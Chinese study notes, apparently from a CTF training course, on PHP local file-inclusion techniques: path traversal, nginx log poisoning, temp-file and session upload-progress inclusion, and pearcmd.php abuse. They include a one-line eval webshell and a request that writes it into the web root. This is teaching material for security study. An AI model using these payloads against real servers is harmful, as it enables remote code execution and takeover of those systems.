PHP文件包含2
文件包含
include "/var/www/html/flag.php"
一、文件名可控
题干如下所示
$file=$_GET['file'];
include $file.".php";`
//采用php伪协议,可以使用data协议
二、文件后缀可控
$file=$_GET['file'];
include "/var/www/html/".$file;
//前面路径被锁死,不能使用伪协议
/var/www/html/../../../../flag
用来回到根目录
三、高级文件包含
(一). ngnix日志文件包含
ngnix
可以认为是http的一个服务器软件,提供了http服务
,默认监听80端口
http://localhost/123.php?a=b
123.php
后缀是否是.php .就进行一次转发,转发到本地的127.0.0.1
的9000端口
9000端口是被另一个服务端软件监听,它提供解析php文件的服务,我们把这个软件叫做php.fpm
专门解析php后缀的文件,执行里面代码,将执行结果交给nginx,再由nginx返回http客户端,这个客户端就是浏览器
http://localhost/123.jpg
123.jpg 非php后缀,那么由自己来处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,告诉其我返回的文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来
日志中User-Agent
是一个注入点,很多一句话木马可以植入
例题web37
日志包含前提条件
- 有文件后缀可控的文件包含点
- 有可以访问到的日志路径 默认nginx的日志路径为
/var/log/nginx/access.log
(二). 临时文件包含
/tmp/php??????
文件包含,能否包含一个/???/????????[@-[]
不行,文件包含是不支持通配符的
我们需要明确的,得到这个临时目录下php开头的随机文件名字全称,然后我么你就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了;这个文件也会自动删除
突破点
- 在php脚本运行过程中,包含临时文件
- 在脚本运行过程中,得到完整的临时文件名称
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块一块内容发送的4096个字符
例题web38
假设我们能够访问phpinfo的结果 FILES就是存在tmp_name
临时文件名字,读取后可以成功包含
phpinfo_lfi形式
(三). php的session文件包含, upload_progress文件包含
session跨页面保存内容
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS,可以往服务器的session文件内写入我们的指定内容
然后在脚本运行过程中
包含后,可以执行里面的php代码
(四)pear文件包含
条件:
- 有文件的包含点
- 开启了pear扩展
- 配置文件中register_argc_argv设置为ON,而默认为OFF
pear扩展
PHP Extension and Application Repository
默认安装位置是 /usr/local/lib/php/
利用Pear扩展进行文件包含
- 方法一 远程文件下载例题web40
- 方法二 生成配置文件,配置项传入我们恶意的php代码形式
a=b
username=root
man_dir=<?php eval($_POST[1]);?>
方法三 写配置文件方式
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=
$_POST[1]
;?>+1.php